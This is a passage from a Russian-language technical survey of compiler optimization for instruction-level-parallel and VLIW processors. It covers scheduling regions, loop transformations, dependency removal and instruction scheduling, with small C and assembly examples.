    Такие особенности характерны, в частности, для цифровых процессоров обработки сигналов, где, в целях ускорения выборки команд, а также для сокращения общего размера кода и энергопотребления, проектировщики стремятся минимизировать длину командного слова и используют для этого нерегулярные способы кодирования. Нерегулярная организация командного слова (см. например, [52]) и связанные с ней ограничения параллелизма исполнения, называемые ограничениями кодирования, существенно усложняют задачу генерации эффективного кода при компиляции ([41],[59]).

    Еще одна разновидность ILP-архитектур - кластерные архитектуры, где функциональные устройства поделены на группы (кластеры), и с каждым кластером связан набор локальных регистров, недоступных для функциональных устройств других кластеров (см. [54]). На рис. 2 изображен пример кластерной архитектуры.

    Специфическая проблема, возникающая при генерации кода для кластерных архитектур - минимизация обменов данных между регистровыми файлами разных кластеров.

  • Критерии оптимизации кода
  • Подходы, используемые при оптимизации кода, могут существенно зависеть от критериев оптимизации. Обычно рассматривают три критерия или их комбинации с некоторыми приоритетами:

  • минимизация времени выполнения программы;


  • минимизация размера кода;


  • минимизация энергопотребления.


  • Последний критерий существен при компиляции приложений для встроенных автономных систем. Размер кода, как правило, имеет второстепенное значение. Далее в основном будет рассматриваться критерий минимизации времени выполнения с учетом возможных ограничений на размер кода.

    Локальные методы оптимизации, применяемые в пределах линейных участков, обычно направлены на сокращение одновременно и времени выполнения, и размера кода. Методы реорганизации кода (такие как развертка циклов, встраивание функций и др. - см. разд., 6.1, 6.3), направлены на ускорение работы компилируемой программы ценой увеличения размера выходного кода.

    Возможны и другие, более специальные критерии и ограничения.


    Например, в работах [39] и [40] рассматривается метод планирования инструкций в условиях, когда для некоторых из них заданы начальные и/или конечные времена Tmini, Tmaxi, так что инструкция i должна сработать не позднее момента Tmaxi и не ранее момента Tmini. Подобные ограничения характерны для систем реального времени, где определенные действия должны совершаться в пределах заданных временных интервалов.

    Фактор скорости компиляции, по мнению многих авторов ([41], [45], [58] и др.), для ILP-процессоров следует считать второстепенным. В особенности это справедливо в контексте компиляции для ЦПОС. С одной стороны, генерация оптимального кода для них существенно затрудняется из-за ограничений параллельного исполнения, с другой стороны, эффективность результирующего кода для них имеет гораздо более важное значение, чем скорость компиляции.

  • Круг проблем, связанных с оптимизацией кода для ILP-процессоров
  • Прежде чем перейти к рассмотрению основных задач, относящихся к ILP-оптимизации, рассмотрим в общих чертах схему работы компилятора, которая представлена на рис. 3 (см., например, [5],[6]). Компилятор для ILP-процессора объединяет в себе стандартные механизмы компиляции, имеющие смысл для всех целевых платформ, и специализированные методы анализа и оптимизации, направленные на выявление, усиление и использование параллелизма на уровне команд.

    На первом этапе проводится лексический, синтаксический и семантический анализ программы на входном языке и строится ее промежуточное представление.

    В качестве промежуточного представления может использоваться, например, список, элементы которого соответствуют элементарным инструкциям реальной или гипотетической машины. Элементы промежуточного представления содержат информацию об операндах инструкции, о ее связях с другими инструкциями и т.п. В качестве элементов могут фигурировать также вспомогательные сущности, например, отметки о начале и конце циклов, метки и т.п.

    Затем проводятся оптимизации в терминах промежуточного представления.


    Примеры стандартных оптимизаций, поддерживаемых большинством современных компиляторов, - удаление избыточного кода, свертка константных вычислений, выделение общих подвыражений, вынесение инвариантных вычислений из циклов, понижение мощности операций и др. [61]. В ILP-компиляции особое внимание уделяется методам усиления программного параллелизма в телах циклов, которые подробно рассматриваются в разд. 6.

    В контексте ILP наибольший интерес представляет оптимизирующее преобразование, называемое планированием. В ходе планирования последовательность команд, сформированная традиционными методами компиляции, переупорядочивается, и команды группируются таким образом, чтобы обеспечить максимально быстрое параллельное исполнение. При этом учитываются связи между командами по данным и по управлению, а также аппаратные возможности параллельного исполнения команд. В применении к компиляции для VLIW-процессоров данное преобразование кода называют также распараллеливанием (code parallelization) или сжатием (code compaction).

    Оптимизированное промежуточное представление преобразуется в ассемблерный код.

    Применяются также (см. [47]) оптимизации на уровне ассемблерного кода (постпроцессирование). В ходе постпроцессирования кода, сгенерированного при помощи универсального компилятора, выполняются машинно-зависимые оптимизации. Такой подход позволяет ускорить создание оптимизирующего компилятора для нестандартной целевой платформы.

    Существенной характеристикой большинства реализаций, как промышленных, так и экспериментальных, является настраиваемость компонентов компилятора на свойства и систему команд целевого процессора.

    Перечислим коротко основные методы анализа, реорганизации и оптимизации кода, применяемые в ILP-компиляторах. Более подробно они рассматриваются в последующих разделах.

    1. Выделение областей планирования. Область планирования - это фрагмент или множество фрагментов программы, в пределах которых применяется алгоритм планирования. В простейшем случае в качестве таких областей используются линейные участки в смысле [1] или [4] - последовательности команд, содержащие не более одной метки (в начале) и не более одной команды перехода (в конце).


    Однако в пределах линейного участка не всегда можно найти достаточно команд, способных исполняться параллельно. Поэтому разработчики компиляторов стремятся выделить более крупные области планирования, объединяющие несколько линейных участков. Различные типы областей планирования рассматриваются в разделе 5.

    2. Реорганизации кода, направленные на удлинение линейных участков и расширение областей планирования - преобразования циклов, встраивание функций и др., см. разделы 6.1, 6.2.

    3. Усиление параллелизма в пределах выделенных областей. Поскольку параллельное исполнение инструкций возможно только при условии их независимости по данным, то в пределах областей проводятся реорганизации кода, направленные на частичное снятие зависимостей по данным между инструкциями - переименование регистров, исключение индуктивных переменных в циклах и др. Наиболее эффективны эти реорганизации в применении к телам развернутых циклов. Эти вопросы рассматриваются в разделе 6.3.

    4. Планирование команд в пределах выделенных областей. Различают методы локального планирования (в пределах линейных участков) и глобальное планирование (в пределах расширенных областей), где применяется перемещение команд между линейными участками с использованием аппаратных и программных средств для сохранения корректности программы. Планированию команд посвящен раздел 7.

  • Области планирования
  • В традиционных компиляторах планирование, как правило, осуществляется в пределах линейных участков [2]. Однако для ILP-процессоров такой подход может приводить к потерям производительности. Характерная частота переходов в программах нечисленных приложений, например, составляет примерно 20%, т.е. средняя длина линейного участка - 5 команд. С учетом связей по данным, которые вероятнее всего присутствуют между этими командами, степень естественного программного параллелизма оказывается невысокой. Для того чтобы привести степень программного параллелизма в соответствие с уровнем имеющегося аппаратного параллелизма, в компиляторах для ILP-процессоров реализуют планирование в рамках более широких областей кода, объединяющих несколько линейных участков, так что инструкции могут в результате перемещаться из одного участка в другие.


    При этом обычно стремятся максимально ускорить выполнение вдоль наиболее часто исполняемых ветвей программы. Надо заметить, что подавляющая часть из доступных экспериментальных результатов, подтверждающих преимущества глобального планирования по сравнению с локальным, относятся к приложениям нечисленного характера. Эффективность глобального планирования в компиляции численных приложений требует дополнительных исследований.

    Для того чтобы перемещения инструкций между линейными участками были корректны, применяются определенные приемы, ограничения и аппаратные средства, которые рассматриваются в разд. 7.3, 7.4. В этом разделе будут рассмотрены типы областей, для которых выработаны эффективные методы планирования, а также способы построения областей.

    Введем два понятия, которые используются в определениях областей: точка слияния - команда, на которую управление может прийти более чем из одного места; точка ветвления - команда условной передачи управления.

    Область планирования состоит из одного или более линейных участков, которые в исходной программе могут быть расположены последовательно или произвольно. Области различаются по структуре своего потока управления и по способу формирования. Наиболее известные типы областей - суперблоки, трассы, гиперблоки, древовидные области и регионы - имеют два общих признака: ациклический граф управления и один головной участок, из которого достижимы все остальные.

    Ниже перечислены типы областей и их основные характеристики:

    Суперблок [30], [35]

  • может содержать только одну точку слияния - точку входа в начале головного линейного участка;


  • имеет прямолинейный граф управления. Команды ветвления могут передавать управление в другие суперблоки, но не на команды того же суперблока.


  • Трасса [27], [28], [30] отличается от суперблока тем, что может содержать более одной точки слияния.

    Гиперблок [49] - суперблок, который может включать условно исполняемые участки. Метод гиперблоков эффективен для процессоров, поддерживающих условное выполнение.


    Древовидная область (treegion) [18], [31], [32], [34], имеет древовидный граф управления и включает не более одной точки слияния (в начале головного участка). Древовидные области могут формироваться путем реорганизации входной программы; при этом также могут использоваться данные профилирования.

    Регион [20], [22] - область с произвольным ациклическим графом управления. Отличительная черта метода регионов - поддержка вложенных регионов (например, внутренних циклов). Метод регионов применяется, в частности, в компиляторе для IA-64 [22], где его реализация существенно опирается на аппаратные средства поддержки параллелизма.

    Одна из идей, на которой основываются методы глобального планирования, заключается в том, что код можно реорганизовать таким образом, чтобы сократить время выполнения вдоль одних путей за счет замедления вдоль других. Если решения принимаются в пользу ускорения наиболее частых путей, то за счет этого можно достичь сокращения времени выполнения программы в целом. Такой подход может быть неприемлем в приложениях реального времени, где возможны ограничения на время выполнения вдоль любого, даже самого редкого пути исполнения [58].

    При формировании областей используются данные профилирования по частоте выполнения переходов, что делает актуальной задачу эффективного получения данных профилирования. В работе [26] предлагается экономный метод профилирования передач управления для ILP-процессоров. Метод не требует аппаратной поддержки и основан на добавлении минимального необходимого числа дополнительных линейных участков, содержащих зондирующий код для регистрации передач управления. Зондирующий код организуется таким образом, чтобы при выполнении обеспечивалось его максимальное распараллеливание.

    Рассмотрим более подробно способы формирования двух типов областей - суперблоков и древовидных областей.

    Суперблоки

    Понятие суперблока соответствует определению расширенного линейного участка. Расширенный линейный участок есть последовательность линейных участков B1 ... Bk, такая что для 1 ? i < k Bi - единственный предшественник Bi+1.


    Отличительная черта суперблоков заключается в способах их формирования. С учетом данных профилирования, точки слияния в исходной программе удаляются путем создания копий соответствующих участков. При этом стремятся выделить суперблоки, расположенные вдоль трасс - наиболее часто исполняемых путей на графе управления. Пример формирования суперблока из [35] приведен на рис. 4.

    На рис. 4а показан граф управления для программного фрагмента, составляющего тело цикла, с указанием частот выполнения участков и переходов между ними. Из этой схемы видно, что наиболее часто выполнение следует вдоль пути A® B® E® F. Поэтому принимается решение сформировать три суперблока: {A,B,E,F}, {C}, {D}. Для этого необходимо исключить точку слияния в F. На рис. 4б показано, как это достигается путем добавления копии F (F'). Этот прием называют "дублированием хвостов" (tail duplication). В конечном счете, из исходного программного фрагмента создается 4 суперблока: {A,B,E,F}, {C}, {D}, {F'}.

    Древовидные области

    Формирование древовидных областей проводится в два этапа. Сначала на основе статического анализа в графе управления выделяются имеющиеся древовидные участки. Далее, если доступны данные профилирования, выделенные участки искусственно наращивают методом "дублирования хвостов". При этом стремятся объединить участки вдоль наиболее часто исполняемых путей.

    На рис. 5 приведен пример из [32], где показано наращивание первоначально выделенной области. Исходный программный фрагмент состоит из двух древовидных областей (а). Если исполнение преимущественно следует вдоль A® B® D® E, то желательно реорганизовать код, чтобы путь A® B® D® E попал в общую область, и планировщик мог максимально использовать параллелизм на этом отрезке. На рис. 5b и рис. 5c показаны два этапа такого преобразования. Сначала создается копия D' участка D и формируется область, включающая путь A® B® D. Затем создается копия E' участка E и формируется область, включающая пути A® B® D® E и A® C® D'® E', а также область, состоящая из одного участка F.


    Данные профилирования могут использоваться также на этапе планирования в древовидных областях, для того чтобы обеспечить максимально быстрое выполнение (и исключить задержки) преимущественно вдоль часто исполняемых путей.

    Для того чтобы ограничить объем результирующей программы, при принятии решений о "дублировании хвостов", помимо данных профилирования, применяются и другие эвристики (см. [31]):

  • допустимый общий коэффициент расширения не должен превышать некоторой заранее заданной величины;


  • число путей исполнения в каждой древовидной области не должно превышать заданной величины;


  • если число предшественников участка в графе управления больше заданной величины, то дублирование участка не производится.

    Аналогичные эвристики используются и при формировании областей других типов.

    В [7] можно найти описание метода проникающего планирования (percolation scheduling), предполагающего глобальное переупорядочение кода для выявления параллелизма на уровне тела функции.

  • Усиление параллелизма в пределах областей планирования
  • Большинство из рассматриваемых в этом разделе методов применимы в той или иной степени ко всем типам ILP-процессоров и видам областей планирования.

  • Преобразования циклов
  • Преобразования циклов, применяемые в ILP-компиляции, подробно рассмотрены в [35] и [58]. К ним относятся: развертка циклов, слияние и разбивка циклов, подгонка циклов, конвейеризация циклов. Все они имеют смысл независимо от наличия параллелизма в целевом процессоре, поскольку позволяют уменьшить общее число проверок завершения цикла и операций перехода. В компиляции для ILPпроцессоров они приобретают дополнительную значимость, поскольку позволяют усилить программный параллелизм в теле цикла.

    В примерах, иллюстрирующих смысл преобразований, использован язык Си, реально же они применяются на уровне промежуточного представления.

    Развертка цикла (loop unrolling). Суть этого преобразования заключается в том, что тело цикла дублируется n раз, а число повторений соответственно сокращается во столько же раз (рис. 6).


    Число n называется коэффициентом развертки цикла.

    for (i=0;i<100;i++) for (i=0;i<100;i=i+4) {

    {a[i]=a[i]+c;} a[i]=a[i]+c;

    ==> a[i+1]=a[i+1]+c;

    a[i+2]=a[i+2]+c;

    a[i+3]=a[i+3]+c;}

    Рис. 6. Развертка циклов

    В контексте ILP- компиляции он приобретает большее значение, поскольку позволяет использовать параллелизм команд, относящихся к разным итерациям цикла. Наиболее эффективно его применение в сочетании с другими преобразованиями, направленными на усиление параллелизма (см. рис. 12).

    Слияние циклов (loop fusion). Два расположенных последовательно цикла можно слить, если они имеют одинаковое число итераций и отсутствуют зависимости по данным, препятствующие объединению. Если тела сливаемых циклов не зависят друг от друга (рис. 7), появляется возможность спланировать параллельное выполнение команд, относящихся к разным циклам.

    for (i=0;i<100;i++) for (i=0;i<100;i++) {

    b[i]=b[i]+c; ==> b[i]=b[i]+c;

    for (j=0;j<100;j++) a[i]=a[i]*2;

    a[j]=a[j]*2; }

    Рис. 7. Слияние циклов

    Если граничные значения переменных двух циклов различаются, но ненамного, то применяют слияние с предварительной подгонкой одного из циклов.

    Подгонка цикла (loop peeling). Подгонка цикла заключается в изменении граничных значений переменной цикла. Обычно подгонка применяется для того чтобы можно было выполнить слияние (рис. 8) или развертку цикла (если число итераций не кратно коэффициенту развертки).

    for (i=0;i<100;i++) for (i=0;i<100;i++) {

    b[i]=b[i+2]+c; ==> b[i]=b[i+2]+c;

    for (j=0;j<102;j++) a[i]=a[i]*2;}

    a[j]=a[j]*2; a[100]=a[100]*2;

    a[101]=a[101]*2;

    Рис. 8. Слияние циклов с подгонкой одного из них

    Программная конвейеризация цикла (software pipelining). Идея конвейеризации цикла заключается в том, что выполнение команд, относящихся к последующим итерациям, начинается раньше, чем завершается выполнение предшествующих итераций. Конвейеризация применима в тех случаях, когда тело цикла можно разбить на группы команд, не зависящих друг от друга на разных итерациях.


    На рис. 9 показан пример конвейеризации цикла. Команды, относящиеся к одной итерации исходного цикла, не могут выполняться параллельно в силу зависимостей по данным. Тело результирующего цикла составлено из команд, относящихся к трем смежным итерациям (i, i+1, i+2) и не зависящих друг от друга, так что их выполнение может быть спланировано параллельно. Число итераций, участвующих в конвейерном выполнении цикла, называется глубиной конвейеризацией (по аналогии с аппаратной конвейеризацией). Число итераций конвейеризованного цикла сокращается на n-1, где n - глубина конвейеризации, а в пролог и эпилог выносятся команды, относящиеся к начальным и завершающим итерациям исходного цикла.

    a[0]=b[0]+2;

    a[1]=b[1]+2;

    d[0]=a[0]/n;

    for (i=0;i<100;i++){ for (i=0;i<98;i++){

    a[i]=b[i]+2; f[i]=d[i]+a[i];

    d[i]=a[i]/n; ==> d[i+1]=a[i+1]/n;

    f[i]=d[i]+a[i];} a[a+2]=b[i+2]+2;}

    d[99]=a[99]/n;

    f[98]=d[98]+a[98];

    f[99]=d[99]+a[99]];

    Рис. 9. Конвейеризация цикла

    Конвейеризация, как и развертывание цикла, создает возможности для параллельного выполнения команд из разных итераций, но обладает тем преимуществом, что не увеличивает размер тела цикла.

    Обзор методов конвейеризации циклов можно найти в работах [7], [12].

    Разбивка циклов (loop distribution). В некоторых случаях может иметь смысл преобразование, обратное слиянию и называемое разбивкой циклов. Это целесообразно, например, если тело цикла слишком длинное, и имеющееся число регистров недостаточно для размещения всех используемых в теле цикла переменных. В этом случае часть промежуточных значений приходится временно выгружать в память, а перед использованием в вычислениях загружать на регистры (в англоязычной литературе этот процесс обозначают термином register spilling). Благодаря разбивке цикла можно избежать дефицита регистров и выталкивания значений в память.

    В примере, показанном на рис. 10, вторая команда не может быть выполнена параллельно с первой в силу зависимости по данным. В результате разбивки создаются циклы с более короткими телами и меньшим числом зависимостей по данным.


    for (i=0;i<100;i++){ for (i=0;i<100;i++)

    b[i]=b[i-1]+c; ==> b[i]=b[i-1]+c;

    a[i]=b[i]+2;} for (i=0;i<100;i++)

    a[i]=b[i]+2;

    Рис. 10. Разбивка циклов

  • Встраивание функций
  • Встраивание функций широко применяется как метод оптимизации и в традиционных технологиях компиляции, поскольку при этом экономится время, затрачиваемое на передачу параметров, выполнение пролога и эпилога. В контексте ILP-компиляции этот подход имеет дополнительное преимущество, поскольку он позволяет спрямлять пути исполнения, создавая более длинные линейные участки и дополнительные возможности для распараллеливания кода.

  • Снятие зависимостей по данным
  • Алгоритмы планирования команд, используемые практически во всех компиляторах (см. разделы 7.1 и 8), работают с тремя видами зависимостей (или связей) по данным между командами (см., например, [58] или [45]). Здесь будут рассмотрены только зависимости по обращениям к регистрам; о зависимостях по обращениям к памяти см. разд. 7.6.

    Пусть имеется некоторая последовательность команд c1, ..., cn, подлежащих планированию. Планировщик может изменять порядок выполнения команд, не нарушая их частичной упорядоченности, которая определяется перечисленными далее зависимостями по данным. (При глобальном планировании планировщик также должен учитывать связи по управлению, препятствующие перемещению команд через точки ветвления; подробнее об этом см. разделы 7.3, 7.4).

    1. Связи типа "чтение после записи". Команда cj зависит от ci, если ci записывает значение в некоторый регистр r, а cj читает это значение. Будем обозначать это отношение как ci
    Обзор методов оптимизации кода
    cj.

    Зависимости этого типа называются истинными, поскольку они отражают объективные связи по данным между операциями, реализующими компилируемую программу: выполнение cj должно планироваться позже, чем выполнение ci. Как правило, избавиться от них нельзя, однако существуют приемы, позволяющие сделать это в некоторых специальных случаях: дублирование переменной суммирования и индуктивных переменных, рассматриваемые далее в этом разделе.


    2. Связи типа "запись после записи". Команда cj зависит от ci, если

  • обе команды записывают значения в некоторый регистр r


  • j > i


  • имеется хотя бы одна команда сk, которая читает значение r, записанное командой ci.


  • Будем обозначать это отношение как ci
    Обзор методов оптимизации кода
    cj. Выполнение команды cj должно быть запланировано позже чем ci, если имеет место ci
    Обзор методов оптимизации кода
    cj.

    3. Связи типа "запись после чтения". Команда cj зависит от ci, если существует команда ck, такая что имеет место ck
    Обзор методов оптимизации кода
    ci и ck
    Обзор методов оптимизации кода
    cj. Будем обозначать это отношение ci
    Обзор методов оптимизации кода
    cj. Смысл этой зависимости в том, что ci читает некоторый регистр r, записанный ранее командой ck, а cj (j > i) записывает в r другое значение. Если имеет место ci
    Обзор методов оптимизации кода
    cj, то cj может быть выполнена не раньше ci (т.е. одновременно или позднее ci).

    Последние два типа связей называют антизависимостями или ложными зависимостями, поскольку они возникают в результате того, что компилятор использует одни и те же регистры для хранения разных значений (или программист использует одни и те же рабочие переменные для хранения различных промежуточных значений).

    На рис. 11 представлены примеры зависимостей всех типов и показано, как образуются антизависимости.

    Зависимости по данным препятствуют параллельному исполнению команд и их переупорядочению при планировании. В случае, показанном на рис. 11а), возможно параллельное выполнение команд (1,2,4) или (3,4). После распределения регистров (рис. 11б), антизависимости жестко определят порядок выполнения команд – 1), 2), 3), 4). Поэтому важно по возможности избавляться от них. Большинство из перечисленных далее преобразований направлено на снятие антизависимостей по данным внутри областей планирования.

    Миграция команд. Если результат команды не используется в данной области, то ее можно переместить в области, которые выполняются реже. Для суперблоков этот метод применяется следующим образом [35]. Если результат операции не используется в суперблоке S, то она может быть удалена из S, при этом ее копии создаются во всех суперблоках, на которые управление может быть передано из S.


    При этом исключаются суперблоки, в которых результат заведомо не используется. Решение принимается с учетом оценок частот выполнения суперблоков. В результате в S исключаются все зависимости по данным, связанные с этой операцией.

    Переименование регистров. Суть этого приема заключается в том, чтобы размещать разные значения в разных регистрах. Разумеется, его практическое применение ограничено числом доступных регистров.

    Дублирование индуктивной переменной. Индуктивные переменные это переменные, представляющие собой выражения, линейно зависящие от переменной цикла, например, адресные выражения для доступа к элементам массива. В развернутом цикле при вычислении индуктивных переменных возникают зависимости по данным. В результате оказывается невозможным распараллеливание вычисления индуктивных переменных и доступа к памяти по ним. Положение можно исправить, если завести несколько экземпляров индуктивной переменной (в соответствии с коэффициентом развертки цикла).

    Дублирование переменной суммирования. Если в цикле производится суммирование или перемножение выражений, то при развертке цикла можно создать несколько экземпляров переменной суммирования для накопления частичных сумм или произведений [35]. В эпилоге цикла частичные суммы или произведения, соответственно, складываются или перемножаются. Этот прием применим к любой операции, обладающей свойствами коммутативности и ассоциативности.

    На рис. 12 показано применение развертки цикла в сочетании с оптимизациями снятия зависимостей - переименованием регистров, дублированием переменной суммирования и индуктивной переменной. Код, полученный непосредственно после развертки, слабо поддается распараллеливанию из-за большого числа зависимостей по данным. В результате снятия зависимостей получается тело цикла, выполнение которого на идеальном процессоре (с неограниченными возможностями параллельного исполнения, без задержек) занимает 2 такта.

    Исходный цикл:

    s=0;

    for (i=0;i<100;i++)

    {s=s+a[i];}

    Ассемблерный код


    r1 = A

    r3 = 0

    L1: r2 = MEM(r1)

    r3 = r3 + r2

    r1 = r1 + 4

    blt (r1 A+4N) L1

    Результат развертки с коэффициентом 3:

    r1 = A

    r3 = 0

    L1: r2 = MEM(r1)

    r3 = r2 + r3

    r1 = r1 + 4

    r2 = MEM(r1)

    r3 = r2 + r3

    r1 = r1 + 4

    r2 = MEM(r1)

    r3 = r2 + r3

    r1 = r1 + 4

    blt (r1 A+4N) L1

    Результат снятия зависимостей по данным:

    r11 = A ;; Размножение индуктивной

    r21 = A + 4 ;; переменной

    r31 = A + 8

    r3 = 0 ;; Размножение переменной

    r23 = 0 ;; суммирования

    r33 = 0

    L1: r2 = MEM(r11)

    r3 = r2 + r3

    r11 = r11 + 12

    r22 = MEM(r21) ;; Переименование r2 -> r22

    r23 = r22 + r23

    r21 = r21 + 12

    r32 = MEM(r31) ;; Переименование r2 -> r22

    r33 = r32 + r33

    r31 = r31 + 12

    blt (r1 A+4N) L1

    r3 = r3 + r23 ;; Сложение частичных сумм

    r3 = r3 + r33

    Рис. 12. Развертка цикла и снятие зависимостей по данным

  • Соотношение программного и аппаратного параллелизма
  • Рассмотренные выше методы оптимизации направлены на усиление программного параллелизма на уровне команд, с тем чтобы максимально использовать имеющиеся в процессоре средства параллельного исполнения. Важный момент, который необходимо учитывать при их практической реализации, - соотношение между фактическим уровнем аппаратного параллелизма целевого процессора и уровнем программного параллелизма. Набор оптимизаций и их параметры (такие как коэффициент развертки) следует соразмерять с аппаратными характеристиками, в первую очередь, с реальными возможностями параллельного исполнения команд и количеством доступных регистров. Например, дублирование переменной суммирования может не иметь смысла, если процессор не способен выполнять одновременно несколько сложений. Развертка цикла может привести к деградации производительности, если регистров недостаточно для размещения всех переменных увеличившегося тела цикла. В этом случае компилятор вынужден размещать переменные в памяти, и использовать дополнительные команды для загрузки их на регистры перед выполнением операций и выгрузки в память при изменении значений, что может свести на нет эффект усиления параллелизма (см. [19], [38]).


  • Планирование команд
  • Алгоритмы планирования
  • После того как области планирования выделены и проведены оптимизации снятия зависимостей по данным, выполняется планирование команд. Считается, что на этом этапе для каждой области известны ее входные (вычисленные ранее) и выходные (используемые вне данной области) объекты.

    В ILP-компиляции в основном применяются различные варианты приоритетного (эвристического) списочного планирования (list scheduling). Процесс планирования состоит из трех шагов:

    1. Вычисление зависимостей по данным и по управлению между командами в пределах области планирования, которые обычно представляют в виде направленного ациклического графа. Зависимости по управлению препятствуют перемещению команд вокруг точек ветвления. Эти зависимости могут быть в дальнейшем частично сняты, т.е. при планировании команды могут перемещаться выше или ниже точек ветвления (см. далее разд.7.3, 7.4).

    2. Вычисление приоритетов команд. Приоритеты определяют, в каком порядке будут планироваться готовые к исполнению команды на шаге 3. Способ вычисления приоритетов отражает эвристики планирования, от которых может существенно зависеть результат. Как правило, применяется эвристика планирования по критическому пути, когда приоритет команды определяется высотой соответствующего узла в графе зависимостей. Команды с совпадающими приоритетами упорядочивают либо произвольным образом, либо по некоторому вторичному признаку. В [31] приводятся результаты исследований нескольких эвристик глобального планирования в древовидных областях:

  • по глубине команды в графе зависимостей;


  • по числу выходов из области по всем путям в дереве управления, исходящим из данной команды (exit count). Согласно этой эвристике, наибольший приоритет получают команды, находящиеся в корне дерева.


  • по частоте выполнения на основе данных профилирования (global weight). Приоритет отдается наиболее часто исполняемым командам, а при равенстве частот команды упорядочиваются по глубине.


  • по взвешенной частоте выходов (weighted count).


    В качестве первичного критерия используется частота выполнения, а при равенстве частот - счетчик выходов.


  • Согласно результатам этой работы, наилучшие результаты в среднем дают эвристики 1) и 3); авторы рекомендуют использовать эвристику частоты исполнения, а если данные профилирования отсутствуют, то сортировать команды по глубине в графе зависимостей.

    3. На последней фазе рассматриваются (в порядке своих приоритетов) готовые к исполнению команды и выдаются в выходной поток. Если целевой процессор является VLIW-процессором, то выходной поток состоит из длинных командных слов, каждое из которых может содержать несколько команд входного потока. Различаются следующие способы формирования выходного потока [32]:

  • Сверху вниз / снизу вверх. В первом случае команда рассматривается после того, как все ее предшественники в графе зависимостей выведены в выходной поток. При планировании снизу вверх команда рассматривается после того как выведены все ее потомки. При глобальном планировании более естественным является метод сверху вниз.


  • Перебор команд / заполнение командных слов. В первом случае планировщик на каждом шаге выбирает готовую к исполнению команду с максимальным приоритетом и подыскивает для нее подходящее командное слово в выходном потоке, так чтобы удовлетворялись связи по данным и ограничения по ресурсам (функциональным устройствам). Во втором случае планировщик последовательно заполняет командные слова. Среди готовых к исполнению команд подбираются команды, которые можно выполнить параллельно, и помещаются в очередное слово. Затем происходит заполнение следующего слова и т.д. Второй подход, по-видимому, предпочтителен для процессоров, где команда может занимать ресурс в течение нескольких тактов, а также для VLIW-процессоров с нерегулярной структурой командного слова.


  • Иногда применяют дополнительную эвристику, выбирая из множества готовых к исполнению те команды, которые максимально расширят это множество на следующем шаге (см. [9]).

    Интересный альтернативный алгоритм планирования, который предложен в работе [11], используется в системе построения компиляторов [5].


    Это переборный алгоритм локального планирования, позволяющий находить наилучший по времени план выполнения. Идея его заключается в следующем. Пусть G=(A,V,E) - смешанный граф, где A - множество вершин (операций линейного участка), V - множество дуг, соответствующих зависимостям по данным, E - множество ненаправленных ребер, таких что [a,b] I E, если параллельное исполнение операций a, b невозможно в силу аппаратных ограничений. Из смешанного графа G можно при помощи перебора получить множество ориентированных графов, заменяя каждое из ненаправленных ребер из E на дугу, направленную в ту или другую сторону (если операции a, b невозможно выполнить параллельно, то либо a должна выполниться раньше b, либо наоборот). Каждый ациклический граф, полученный таким образом из G, однозначно определяет план выполнения линейного участка. Среди всех планов выбирается наилучший по времени выполнения.

    Время работы алгоритма экспоненциально зависит от длины линейного участка, поэтому автор рекомендует использовать его для оптимизации циклов. Ограничением этого подхода является также предположение о том, что несовместимость команд (невозможность их параллельного исполнения) можно описать в виде бинарного отношения, что не верно, например, если процессор имеет несколько однотипных функциональных устройств. Возможны ситуации, когда, скажем, команды a, b, c несовместимы, хотя любые две из них совместимы.

  • Координация планирования и распределения регистров
  • Процедуры планирования и распределения регистров при генерации кода для ILP-процессоров имеют в каком-то смысле конфликтующие цели. Для того чтобы полнее загрузить работой функциональные устройства, планировщик стремится максимально использовать программный параллелизм, а для этого необходимо, чтобы как можно большее число значений находилось на регистрах. Распределитель регистров, напротив, стремится сократить использование регистров, чтобы исключить выталкивание значений в память (а также их сохранение/восстановление при вызовах подпрограмм).


    Поэтому в компиляторе для ILP- процессора важно обеспечить правильное взаимодействие этих двух механизмов.

    Если распределение регистров выполняется до планирования, то это может снизить программный параллелизм из-за введения антизависимостей по данным при переиспользовании регистров. С другой стороны, если планирование выполняется до распределения регистров, то зачастую генерируется код, требующий больше регистров, чем имеется в наличии. В таком случае распределитель регистров вынужден выталкивать часть значений в память и добавлять в программу команды загрузки и выгрузки этих значений, что может привести к деградации выходного кода.

    Для решения этой проблемы применяются подходы, включающие повторное планирование, интеграцию обеих процедур или передачу информации между ними.

    Повторное планирование. Перед распределением регистров выполняется предварительное планирование. На этом этапе для хранения каждого значения используется уникальный виртуальный регистр, так что отрицательный эффект антизависимостей по данным исключен. Затем проводится распределение регистров и окончательное планирование, во время которого планируется исполнение дополнительных команд, которые могли быть сгенерированы в ходе распределения регистров ([24], [33]).

    Распределение регистров с использованием информации, полученной от планировщика. В [57] описывается модификация классического решения задачи распределения регистров методом раскраски графа (см., например, [8]). Задача раскраски формулируется для графа, в котором представлены не только данные об областях жизни значений, но и информация о возможности параллельного исполнения команд (parallel interference graph). Переиспользование регистров по возможности исключается в тех случаях, когда оно влечет ограничение параллелизма. Информация о возможности параллельного исполнения вычисляется планировщиком. Аналогичный подход представлен в [56].

    В [21] представлен алгоритм совместного планирования и распределения регистров, где и регистры, и функциональные устройства рассматриваются как ресурсы.


    В [25] и [38] предлагаются специальные алгоритмы планирования для развернутых циклов, обеспечивающие контроль числа требуемых регистров, с тем чтобы исключить или минимизировать обмены с памятью.

    В компиляторе для архитектуры TriMedia [32] реализован комбинированный подход, где распределение глобальных регистров осуществляется обычным методом раскраски графа, а распределение локальных регистров (для областей жизни, не выходящих за границы линейных участков) осуществляется непосредственно планировщиком, который постоянно отслеживает уровень дефицита регистров (register pressure) и динамически перевычисляет приоритеты команд. Как только уровень дефицита регистров превышает некоторый порог, приоритеты команд пересчитываются таким образом, чтобы преимущество отдавалось командам, выполнение которых приведет к снижению дефицита. При низком уровне дефицита регистров увеличивается приоритет команд, которые открывают новые области жизни, что повышает возможности распараллеливания кода (чем больше значений находится на регистрах, тем больше команд, готовых к исполнению).

    При генерации кода для кластерных архитектур возникает проблема минимизации обмена данных между регистровыми файлами разных кластеров. Решение этой проблемы предлагается в [54], где планирование совмещается с назначением кластеров. Аналогичный подход используется в [43].

  • Глобальное планирование
  • Преимущество глобального планирования заключается в том, что оно применяется к более крупным фрагментам программы, состоящим из нескольких линейным участкам. В результате появляется возможность более эффективного использования аппаратных средств параллельного исполнения. Для того чтобы это преимущество реально работало, необходимо уметь перемещать команды вокруг точек ветвления. Рассмотрим более подробно соответствующие проблемы и решения.

    Перенос команды ниже точки ветвления является частным случаем миграции команд, которая описана выше в разд. 6.2. Более интересен случай переноса команды выше предшествующей точки ветвления.


    Этот вид переноса может быть полезен по двум причинам:

